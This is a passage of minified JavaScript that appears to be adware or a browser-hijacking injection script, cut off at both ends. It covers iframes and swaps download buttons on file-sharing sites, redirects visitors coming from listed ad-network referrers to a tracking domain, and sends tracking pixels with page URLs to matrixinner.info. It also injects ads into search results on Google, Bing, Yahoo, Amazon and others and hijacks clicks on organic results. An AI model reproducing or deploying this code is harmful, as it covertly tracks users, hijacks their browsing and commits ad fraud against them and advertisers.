e=a[i];e.getAttribute(\"src\")&&-1<e.getAttribute(\"src\").indexOf(\"xch.smrtgs.com/adserver/iframe.php\")&&l.utils.coverElement(e,null,null,null,null,null,null,!1)}}};this[\"playappsforpc.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv()}};\r\nthis[\"patriotpays.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv()}};this[\"offlineinstallersdownload.com\"]=new function(){this.init=function(){l.utils.createTransparentDiv()}};this[\"4allprograms.net\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"center\");if(0<a.length)for(var e=0;e<a.length;e++)for(var h=a[e].children[0].children;0<h.length;h++)if(h[0].getAttribute(\"src\")&&-1<h[0].getAttribute(\"src\").indexOf(\"s1600/download.gif\")){var k=l.utils.duplicateElement(h[0].parentNode),\r\nm=h[0].parentNode.parentNode;m.insertBefore(k,h[0].parentNode);m.removeChild(h[0].parentNode)}}};this[\"apunkagames.net\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"center\");if(0<a.length)for(var e=0;e<a.length;e++)for(var h=a[e].children[0].children;0<h.length;h++)if(h[0].getAttribute(\"src\")&&-1<h[0].getAttribute(\"src\").indexOf(\"s1600/softwarephreaker.gif\")){var k=l.utils.duplicateElement(h[0].parentNode),m=h[0].parentNode.parentNode;m.insertBefore(k,h[0].parentNode);\r\nm.removeChild(h[0].parentNode)}}};this[\"re-direcciona.me\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"iframe\");if(0<a.length)for(var e=0;e<a.length;e++){var h=a[e];h.getAttribute(\"src\")&&-1<h.getAttribute(\"src\").indexOf(\"re-direcciona.me\")&&l.utils.coverElement(h,null,null,null,null,null,null,!1)}a=document.getElementById(\"url2\").children[0];e=l.utils.duplicateElement(a);h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}};this[\"uptobox.com\"]=new function(){this.init=\r\nfunction(){var a=document.getElementById(\"btn_download\");a&&l.utils.addEventListener(a,\"click\",function(){l.utils.cancelEvent()})}};this[\"dadsoft.net\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"img\");if(0<a.length)for(var e=0;e<a.length;e++){var h=a[e];if(h.getAttribute(\"src\")&&-1<h.getAttribute(\"src\").indexOf(\"s1600/download%2Banimated%2Bgreen.gif\")){var k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};\r\nthis[\"do2dear.net\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"img\");if(0<a.length)for(var e=0;e<a.length;e++){var h=a[e];if(h.getAttribute(\"src\")&&-1<h.getAttribute(\"src\").indexOf(\"s1600/download%2Banimated%2Bgreen.gif\")){var k=l.utils.duplicateElement(h.parentNode),m=h.parentNode.parentNode;m.insertBefore(k,h.parentNode);m.removeChild(h.parentNode)}}}};this[\"unlimitedhacks.com\"]=new function(){this.init=function(){var a=l.utils.query_selector_all('div input[type=\"button\"]')[0],\r\ne=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}};this[\"mp3bear.biz\"]=new function(){this.init=function(){var a=document.getElementById(\"source_dwn\"),e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a);a=document.getElementsByClassName(\"dlman\")[0];e=l.utils.duplicateElement(a);h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}};this[\"compucalitv.com\"]=new function(){this.init=function(){for(var a=document.getElementsByTagName(\"iframe\"),\r\ne=0;e<a.length;e++)-1<a[e].src.indexOf(\"compupaste.com\")&&l.utils.coverElement(a[e],null,null,null,null,null,null,!1)}};this[\"telechargerunevideo.com\"]=new function(){this.init=function(){var a=document.getElementById(\"btnlink\"),e=l.utils.duplicateElement(a),h=a.parentNode;h.insertBefore(e,a);h.removeChild(a);a=document.getElementById(\"indic\");e=l.utils.duplicateElement(a);h=a.parentNode;h.insertBefore(e,a);h.removeChild(a)}};this[\"stream2watch.com\"]=new function(){var a=this;a.init=function(){a.counter=\r\n0;a.stream2Wat=function(){20<++a.counter&&clearInterval(a.interval);var e=document.getElementById(\"rhfrm_MYPTOPB\");e&&(l.utils.coverElement(e,null,null,null,null,null,null,!1,\"\"),clearInterval(a.interval))};a.interval=setInterval(a.stream2Wat,500)}};this[\"uploadrocket.net\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".dlbutton_green\");if(a&&0<a.length){var a=a[0],e=document.createElement(\"a\");e.className=\"dlbutton_green\";e.setAttribute(\"href\",\"javascript:void(0)\");var h=\r\ndocument.createElement(\"span\");h.innerText?h.innerText=\"Click HERE to Download File\":h.textContent=\"Click HERE to Download File\";e.appendChild(h);h=a.parentNode;h.removeChild(a);h.appendChild(e)}if(e=l.utils.query_selector_all(\".dlbutton\"))for(a=0;a<e.length;a++){var h=e[a],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}if((e=document.getElementsByTagName(\"a\"))&&0<e.length)for(a=0;a<e.length;a++)h=e[a],h.getAttribute(\"href\")&&-1<h.getAttribute(\"href\").indexOf(\"uploadrocket.net/directdownload.html\")&&\r\n(k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h))}};this[\"phpnuke.org\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".download_link.btnDownloadAlt\");if(a&&0<a.length)for(var e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this[\"up4.im\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"iframe\");if(a&&0<a.length)for(var e=0;e<a.length;e++){var h=a[e];\r\nh.getAttribute(\"src\")&&-1<h.getAttribute(\"src\").indexOf(\"download.mediafilesdownload.com\")&&l.utils.coverElement(h,null,null,null,null,null,null,!1,\"\")}}};this[\"mediafree.co\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"iframe\");if(a&&0<a.length)for(var e=0;e<a.length;e++){var h=a[e];h.getAttribute(\"src\")&&-1<h.getAttribute(\"src\").indexOf(\"download.mediafilesdownload.com\")&&l.utils.coverElement(h,null,null,null,null,null,null,!1,\"\")}}};this[\"malavida.com\"]=new function(){this.init=\r\nfunction(){var a=l.utils.query_selector_all(\".mvicon-download.download.button.green\");if(a&&0<a.length)for(var e=0;e<a.length;e++){var h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}if((a=l.utils.query_selector_all(\".button.green.mvicon-download.download_link\"))&&0<a.length)for(e=0;e<a.length;e++)h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h);if((a=l.utils.query_selector_all(\".button.green.mvicon-download\"))&&0<a.length)for(e=\r\n0;e<a.length;e++)h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h);if((a=l.utils.query_selector_all(\".zone.download\"))&&0<a.length)for(e=0;e<a.length;e++)h=a[e],k=l.utils.duplicateElement(h),m=h.parentNode,m.insertBefore(k,h),m.removeChild(h)}};this[\"telechargement1.org\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".the_content\");if(a&&0<a.length)for(var e=0;e<a.length;e++){var h=a[e].children[0],k=l.utils.duplicateElement(h),m=h.parentNode;\r\nm.insertBefore(k,h);m.removeChild(h)}if(a=l.utils.query_selector_all('.the_content table td[align=\"left\"]')[0])a.children[0]&&(e=a.children[0],h=l.utils.duplicateElement(e),k=e.parentNode,k.insertBefore(h,e),k.removeChild(e)),a.children[1]&&(a=a.children[1],e=l.utils.duplicateElement(a),h=a.parentNode,h.insertBefore(e,a),h.removeChild(a))}};this[\"file-upload.net\"]=new function(){this.init=function(){var a=document.getElementsByTagName(\"iframe\");a&&0<a.length&&(l.utils.coverElement(a[3],null,null,\r\nnull,null,null,null,!1,\"\"),l.utils.coverElement(a[5],null,null,null,null,null,null,!1,\"\"))}};this[\"jmshared.com\"]=new function(){this.init=function(){var a=l.utils.query_selector_all(\".btn.btn-color.mb15\");if(a&&0<a.length)for(var e=0;e<a.length;e++){var h=a[e].parentNode,k=l.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(k,h);m.removeChild(h)}}};this.injectHidden=function(){var a=document.createElement(\"input\");a.type=\"hidden\";a.setAttribute(\"id\",\"sadkf345hks78923dkcvsdf\");document.getElementsByTagName(\"body\")[0].appendChild(a)};\r\nif(!document.getElementById(\"sadkf345hks78923dkcvsdf\"))if(\"undefined\"!==typeof this[location.host]&&this.activeZds[location.host]&&window.self==window.top&&1==this.activeZds[location.host])this[location.host].init(),this.injectHidden();else for(var v in this.activeZds)if(-1<location.host.indexOf(v)&&1==this.activeZds[v])try{this[v].init(),this.injectHidden()}catch(w){}};}catch(e){};try{(function () { try { var hostnames; try { hostnames = eval('({\"szy_domain\":[\"unitspybookukset.in\",\"comprises.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]})').szy_domain; } catch (e) { hostnames = ['compey.net', 'comprises.info']; } var b = \"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \"); for (var i = 0; i < b.length; i++) { var a = location.href + (document.title ? document.title.toLowerCase() : \"z\"); if (document.referrer && -1 < document.referrer.indexOf(b[i]) && (-1 < a.indexOf(\"download\") || -1 < a.indexOf(\"convert\") || -1 < window.self.location.href.indexOf(\"babylon\") || -1 < window.self.location.href.indexOf(\"se Update Go\") || -1 < window.self.location.href.indexOf(\"ilivid\") || -1 < window.self.location.href.indexOf(\"download\") || -1 < a.indexOf(\"regclean\") || -1 < a.indexOf(\"etype\") || -1 < a.indexOf(\"diction\") || -1 < a.indexOf(\"my-uq\") || -1 < a.indexOf(\"ftalk\") || -1 < a.indexOf(\"pcspeedmaximizer\") || -1 < a.indexOf(\"kingtransl\") || -1 < a.indexOf(\"jsopen\") || -1 < a.indexOf(\"7-zip\") || -1 < a.indexOf(\"boost pc\") || -1 < a.indexOf(\"computer slow\") || -1 < a.indexOf(\"7-update14\")) || location.hostname.indexOf('jsopen.net') > -1) { var channel = 99; if (window.onbeforeunload) { window.onbeforeunload = null; channel = 98 } location.href = \"//\" + hostnames[0] + \"?subid2=78&subid1=11964702200008270108&subid=20494&tid=7&subid3=162&subid4=\" + channel + \"&red=1&px.pluginh=1\"; break } } } catch (d) { } })();}catch(e){};try{window.top == window && new function () { if (!document.getElementsByTagName(\"body\").length || !document.getElementsByTagName(\"body\")[0].getAttribute(\"s11964702200008270108\")) { var m = document.getElementsByTagName(\"body\")[0]; m && m.setAttribute(\"s11964702200008270108\", \"1\"); var b = this; b.pixelHost = \"//sepx.matrixinner.info\"; b.prefix = \"jhgasdf\"; b.version = \"0.5\"; b.now = (new Date).getTime(); b.clickInterval = 2592E5; b.ratio = 12; b.initThrottle = \"google;gmaps;amazon;bing\"; b.unique_items_left = !0; b.eid = decodeURIComponent(\"BuyNsave\"); b.num_of_items_in_one = 4; b.count = 0; b.baseHostname = \"matrixinner.info\"; b.utils = new function () { var a = this; a.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var f = a[e]; b = new Image; b.src = f } else b = new Image, b.src = a }; a.isFalse = function (a) { return \"undefined\" == typeof a || a instanceof Array && 0 == a.length || null === a ? !0 : !1 }; a.cookie = new function () { var a = this; a.createCookie = function (a, c, b) { if (b) { var g = new Date; g.setTime(g.getTime() + 864E5 * b); b = \"; expires=\" + g.toGMTString() } else b = \"\"; document.cookie = a + \"=\" + c + b + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var b = document.cookie.split(\";\"), c = 0; c < b.length; c++) { for (var g = b[c]; \" \" == g.charAt(0);)g = g.substring(1, g.length); if (0 == g.indexOf(a))return g.substring(a.length, g.length) } return null }; a.eraseCookie = function (b) { a.createCookie(b, \"\", -1) } }; a.ajax = { get: function (b, d) { try { this.xhr = new XMLHttpRequest, this.xhr.open(\"GET\", b, !0), this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && d(a.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (b, d, e) { this.xhr = new XMLHttpRequest; this.xhr.open(\"POST\", b, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && e(a.ajax.xhr.responseText) }; d = encodeURIComponent(d); this.xhr.send(d) }}; a.waitForTokens = {}; a.addScript = function (a, b) { if (\"bing\" == b) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; a.waitForElement = function (c, d, e, f) { var g = a.query_selector_all(c); clearTimeout(a.waitTimeout); if (25 < b.waitForElementCounter)return d(null); if (\"undefined\" == typeof g || 1 > g.length) { if (a.waitForTokens[f])return d(null); var h = arguments.callee; a.waitTimeout = setTimeout(function () { b.waitForElementCounter++; h(c, d, e, f) }, e) } else { if (a.waitForTokens[f])return d(null); a.waitForTokens[f] = !0; b.waitForElementCounter = 0; return d(g) } }; a.flushWaitForTokens = function () { a.waitForTokens = {} }; a.getRandomInt = function (a, b) { return Math.floor(Math.random() * (b - a + 1)) + a }; a.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (b) { return { getPropertyValue: function (d) { \"float\" == d && (d = \"styleFloat\"); d = a.dhtml_prop_name(d); return \"object\" == typeof b.currentStyle && null != b.currentStyle && \"undefined\" != typeof b.currentStyle[d] ? b.currentStyle[d] : null } } } : function (a, b) { return window.getComputedStyle(a, b) || { getPropertyValue: function () { }} }; a.query_selector_all = document.querySelectorAll ? function (a) { try { return document.querySelectorAll(a) } catch (b) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/) || []; if (1 < b.length)return a = document.getElementById(b[1]) || void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(b); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; a.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = arguments.callee(a[e]); return b } return a }; a.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, b, c) { return c.toUpperCase() }) }; a.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return RegExp(a) }; a.throttle = function (a, b) { var e = null; return function () { var f = this, g = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(f, g) }, b) } }; a.epoch = function () { return (new Date).getTime() }; a.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10)); return isNaN(a) ? !1 : a }(); a.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; a.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName || \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; a.match_url = function (b, d) { for (var e = 0; e < d.length; e++)if (\"string\" == typeof d[e]) { var f; f = /^\\/.+\\/$/.test(d[e]) ? RegExp(d[e]) : a.wildcard_to_regex(d[e]); if (f instanceof RegExp && f.test(b))return !0 } }; a.ping = function (a) { for (var d = [\"google\", \"bing\", \"yahoo\", \"youtube\"], e = 0; e < d.length; e++)if (-1 < location.hostname.indexOf(d[e])) { var f = new Image, g = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < g.length && (g = encodeURIComponent(location.hostname)); var h = encodeURIComponent(location.hostname); f.src = b.pixelHost + \"?hid=11964702200008270108&eid=78&pid=20494&prodid=186&v=\" + b.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=MA&pr=\" + d[e] + \"&host=\" + h + \"&ref=\" + g } } }; var k = [\"horizontal\", \"vertical\", \"images-horizontal\", \"images-vertical\"]; b.jsonpHost = function () { var a = \"s1. s2. s3. s4. s5. s6.\".split(\" \"); return a[b.utils.getRandomInt(0, a.length - 1)] + \"\" }() + b.baseHostname; b.projects_info = { google: { hrefSelector: \".r a\", unique_search_divs: \"3\", urls: [\"www.google.*\"], src_for_keyword: [\"#gbqfq\", \"#lst-ib\", \"#sbhost\"], dr: [\"#tvcap\", \"#bottomads\", \"#tads\"], tweak: function () { b.events.flush(); var a = b.utils.query_selector_all(\"#nav td\"), c = b.utils.query_selector_all(\".spell + a\")[0]; if (0 < a.length)for (var d = 0; d < a.length; d++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[d], !0); \"undefined\" !== typeof c && b.events.add(\"click\", function () { b.init_search_project() }, !1, c, !0) }, validate: function (a) { var c = this; if (-1 < location.href.indexOf(\"https://www.google.com/maps\") || location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return !0; c.callback = a; c.count = 0; this.check_tab = function () { var a = document.getElementById(\"hdtb_msb\") || b.utils.query_selector_all(\".tn\").length && b.utils.query_selector_all(\".tn\") || document.getElementById(\"hdtb-msb\"); if (b.utils.isFalse(a))if (c.count++, 10 > c.count)setTimeout(function () { c.check_tab() }, 1E3); else return !1; else return a = b.utils.query_selector_all(\".hdtb_mitem\")[0] || b.utils.query_selector_all(\".tn > div\")[0] || b.utils.query_selector_all(\".hdtb-mitem\")[0], \"string\" == typeof a.className && a.className.match(/(hdtb_msel|tn-selected-mode|hdtb-msel)/) && (b.utils.ping(\"validate2\"), c.callback()), !1 }; if (!c.check_tab())return !1 } }, yahoo: { hrefSelector: \"a[id^=link]\", unique_search_divs: \"3\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"yahoo\"], src_for_keyword: \"#yschsp\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, bing: { hrefSelector: [\".b_algo a\", \".sb_tlst a\"], unique_search_divs: \"2\", dr: [\".sb_adsWv2\"], urls: [\"www.bing.com/search?*\"], src_for_keyword: [\"#sb_form_q\", \".b_searchboxForm[name='q']\"], validate: function (a) { b.utils.ping(\"validate2\"); a() }}, infospace: { hrefSelector: \".resultTitle\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://search.infospace.com/search/*\"], src_for_keyword: \"#topSearchTextBox\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, wow: { hrefSelector: \".find\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://www.wow.com/search?*\"], src_for_keyword: \"#csbquery1\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, duckduckgo: { hrefSelector: \".result__a\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://duckduckgo.com/?q=*\"], src_for_keyword: \"#search_form_input\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, contenko: { hrefSelector: \"#title\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://contenko.com/#/?q=*\"], src_for_keyword: \"#searchBar input[type='text']\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, conduit: { hrefSelector: \"a[id^=ctl00_main_organicResults]\", unique_search_divs: \"1\", urls: [\"http://search.conduit.com*\"], src_for_keyword: \"#q_top\", dr: [\"#master-1\"], validate: function () { return !0 }}, ask: { hrefSelector: \".ptbs a[id^=r]\", unique_search_divs: \"1\", urls: [\"http://www.ask.com/web?q=*\", \"http://www.ask.com/web?qsrc=*\", \"http://www.ask.com/web?am=broad&q=*\"], src_for_keyword: [\"#top_qcomn\", \"#top_q_comm\"], dr: [\"#spl_img_top\"], validate: function () { return !0 }}, triple: { hrefSelector: \".gRsSlicetitle\", unique_search_divs: \"2\", dr: [\"#gRsTopLinks\"], urls: [\"http://search.triple-search.com/?*\", \"http://www.search.triple-search.com/?*\"], src_for_keyword: \"#q\", validate: function () { var a = b.utils.query_selector_all(\".gRsSTypeSelltr\"); if (0 < a.length) { for (var c = 0; c < a.length; c++)if (\"English\" == a[c].innerHTML)return !0; return !1 } } }, incredimail: { hrefSelector: \".title\", unique_search_divs: \"3\", dr: [\"#MainSponsoredLinks\"], urls: [\"http://www.search.incredimail.com/search.php?q*\", \"http://search.incredimail.com/search.php?q*\"], src_for_keyword: \"#q\", validate: function () { return -1 < location.href.indexOf(\"lang=english\") ? !0 : !1 } }, gmaps: { hrefSelector: \"div[class^='ads-line'] a\", unique_search_divs: \"1\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"https://www.google.com/maps/*\"], src_for_keyword: \"#searchboxinput\", tweak: function () { var a = function () { b.remove_search(); b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop = \"0px\"; document.getElementById(\"reveal-cards\").style.marginTop = \"0px\" }; b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"cards\"), !1); b.events.add(\"keyup\", function () { a() }, !1, document.getElementById(\"searchbox_form\"), !1); b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"viewcard\"), !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".gscb_a\")[0], !1); var c = function (a) { a = document.querySelector(a); return getComputedStyle(a, null).height }(\".yael .cards-card\"); document.querySelector(\".omnibox-cards-transformations\").style.marginTop = c; document.querySelector(\"#reveal-cards\").style.marginTop = c }, validate: function (a) { b.utils.isIE() || (b.num_of_items_in_one = 1, a()) } }, amazon: { unique_search_divs: \"1\", urls: [\"http://www.amazon.com*&field-keywords=*\"], src_for_keyword: \"#twotabsearchtextbox\", validate: function (a) { a() }}, smartAddress: { hrefSelector: [\"li a\"], unique_search_divs: \"2\", dr: [\".peach ol\"], urls: [\"search.smartaddressbar.com/web.php?s=*\"], src_for_keyword: \"#stxt\", tweak: function () { var a = b.utils.query_selector_all(\".peach\")[0], c = b.utils.query_selector_all(\".right ul\")[0]; a && a.parentNode.removeChild(a); c && c.parentNode.removeChild(c) }, validate: function () { return !0 }}, superpages: { unique_search_divs: \"1\", urls: [\"http://yellowpages.superpages.com/listings.jsp?*\"], src_for_keyword: \"input[type='text']#what\", validate: function () { return !0 }}, yelp: { unique_search_divs: \"1\", urls: [\"http://www.yelp.com/search?find_desc=*\"], src_for_keyword: \"input#find_desc\", validate: function () { b.num_of_items_in_one = 1; return !0 }}, yellowpages: { unique_search_divs: \"1\", urls: [\"http://www.yellowpages.com/search?search_terms=*\"], src_for_keyword: \"input[type='text']#query\", validate: function () { return !0 }}, info: { unique_search_divs: \"1\", urls: [\"http://www.info.com/search?*\"], src_for_keyword: \"input[type='text']#qkw0\", validate: function () { return !0 }}, webcrawler: { unique_search_divs: \"1\", urls: [\"http://www.webcrawler.com/search/web?*\"], src_for_keyword: \"input[type='text']#topSearchTextBox\", validate: function () { return !0 }}, webssearches: { unique_search_divs: \"1\", urls: [\"http://search.webssearches.com/search/web?*\", \"http://istart.webssearches.com/web/?q=*\", \"http://istart.webssearches.com/web?q=*\"], src_for_keyword: [\"input[type='search']#topSearchTextBox\", \"input[type='text']#q\"], validate: function () { b.num_of_items_in_one = 2; return !0 }}, mywebsearch: { unique_search_divs: \"1\", urls: [\"http://search.mywebsearch.com/mywebsearch/*\"], src_for_keyword: [\"input#q\"], validate: function () { return !0 }} }; var l = function (a) { if (\"string\" == typeof a) { var c = a.match(/:nth-match\\(([0-9]+)\\)/); if (c && 1 < c.length)return a = b.utils.query_selector_all(a.substr(0, c.index)) || [], a[c[1]] || void 0; a = b.utils.query_selector_all(a) || []; return a[0] || void 0 } }; b.events = new function () { var a = this; a.cache = []; a.add = window.addEventListener ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f.addEventListener(b, d, e); g && a.cache.push([b, d, e, f]) } : window.attachEvent ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f[\"e\" + b + d] = d; f[b + d] = function () { f[\"e\" + b + d](window.event) }; f.attachEvent(\"on\" + b, f[b + d]); g && a.cache.push([b, d, e, f]) } : function () { }; a.remove = window.removeEventListener ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.removeEventListener(a, b, e) } : window.detachEvent ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.detachEvent(\"on\" + a, f[a + b]); f[a + b] = null; f[\"e\" + a + b] = null } : function () { }; a.flush = function () { for (var b = 0; b < a.cache.length; b++)a.remove.apply(a, a.cache[b]); a.cache = [] } }; b.get_insertion_element = function (a) { return !a.insert || \"before\" != a.insert && \"after\" != a.insert ? a.element : a.element.parentNode }; b.dom = new function () { this.json_to_html = function (a, c) { if (\"#text\" == a.type)c = document.createTextNode(a.text); else if (\"#comment\" != a.type) { c || (c = document.createElement(a.type)); if (a.attrs) { for (var d in a.attrs)if (a.attrs.hasOwnProperty(d))if (\"style\" == d && a.attrs.style instanceof Object)for (var e in a.attrs.style) { var f = b.utils.dhtml_prop_name(e); try { c.style[f] = a.attrs.style[e] } catch (g) { } } else c.setAttribute(d, a.attrs[d]); \"iframe\" == a.type && (a.attrs.hasOwnProperty(\"frameborder\") && (c.frameBorder = a.attrs.frameborder), a.attrs.hasOwnProperty(\"marginwidth\") && (c.marginWidth = a.attrs.marginwidth), a.attrs.hasOwnProperty(\"marginheight\") && (c.marginHeight = a.attrs.marginheight)) } if (a.children)for (d = 0; d < a.children.length; d++) { f = a.children[d]; e = arguments.callee(f); try { c.appendChild(e) } catch (h) { if (\"#text\" == f.type && \"string\" == typeof f.text)if (\"style\" == a.type && c.styleSheet)c.styleSheet.cssText = f.text || \"\"; else if (e = b.utils.get_node_text_prop(c))c[e] = f.text } } } return c } }; b.addEventClick = function (a, c) { for (var d = 0; d < a.length; d++)b.events.add(\"click\", function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; this.href = \"#\"; location.href = c + \"&j=true\"; b.events.flush(); localStorage.setItem(b.prefix, b.now + b.clickInterval); return !1 }, !1, a[d], !0) }; b.checkClickInterval = function (a) { if (b.now > a)return !0 }; b.setClickHref = function (a, c) { if (\"undefined\" != typeof b.projects_info[c].hrefSelector) { if (b.utils.getRandomInt(1, 1E4) >= 1E4 / b.ratio)return !1; var d = b.projects_info[c].hrefSelector, e = parseInt(localStorage.getItem(b.prefix)); if (\"undefined\" != typeof d) { if (d instanceof Array)for (var f = 0; f < d.length; f++) { var g = b.utils.query_selector_all(d[f]); if (0 < g.length)break } else g = b.utils.query_selector_all(d); if (!e || b.checkClickInterval(e))b.addEventClick(g, a), b.j = !0 } } }; b.escape_chars_for_json = function (a) { for (var b in a)\"string\" === typeof a[b] && (a[b] = a[b].replace(/\\\"/g, '\\\\\"')); return a }; b.tpl_engine = function (a, c, d) { \"false\" !== d.layouts.unique && (c = b.escape_chars_for_json(c)); a = JSON.stringify(a); d = [{replace: \"title\", \"with\": c.title}, { replace: \"displayUrl\", \"with\": c.displayUrl}, {replace: \"description\", \"with\": c.description}, {replace: \"clickUrl\", \"with\": c.clickUrl}]; for (var e = 0; e < d.length; e++)a = a.replace(RegExp(\"\\\\[##\" + d[e].replace + \"##\\\\]\", \"g\"), d[e][\"with\"]); try { return \"undefined\" !== typeof c.pxl && \"\" !== c.pxl && b.utils.sendPixels(c.pxl), JSON.parse(a) } catch (f) { } }; b.get_item_json = function (a, c) { var d = b.utils.clone_object(a.layouts.template); d.attrs instanceof Object || (d.attrs = {}); return d = b.tpl_engine(d, c, a) }; b.add_jsonp_to_config = function (a, c) { b.get_item_json(a) }; b.remove_search = function () { var a = b.utils.query_selector_all(\".yael\"); if (0 < a.length)for (var c = 0; c < a.length; c++)a[c].parentNode.removeChild(a[c]) }; b.inject_json = function (a) { \"first\" == a.insert ? a.element.insertBefore(a.node, a.element.firstChild) : \"before\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element) : \"after\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element.nextSibling) : a.element.appendChild(a.node) }; b.get_ad_dom = function (a) { return a.layouts instanceof Object && a.layouts.dom instanceof Object ? a.layouts.dom : !1 }; b.get_layout_type = function (a) { if (a.layouts instanceof Object)for (var b = 0; b < k.length; b++)if (-1 < a.layouts.id.indexOf(k[b]))return k[b]; return !1 }; b.create_search = function (a) { a = b.get_ad_dom(a); return b.dom.json_to_html(a) }; b.templates = new function () { this.container_id = 0; this.add_real_links = function (a, c) { b.utils.add_event(\"click\", function (b) { window.open(a); b.preventDefault ? b.preventDefault() : b.returnValue = !1 }, !1, c) } }; b.validate_response = function () { for (var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/) && 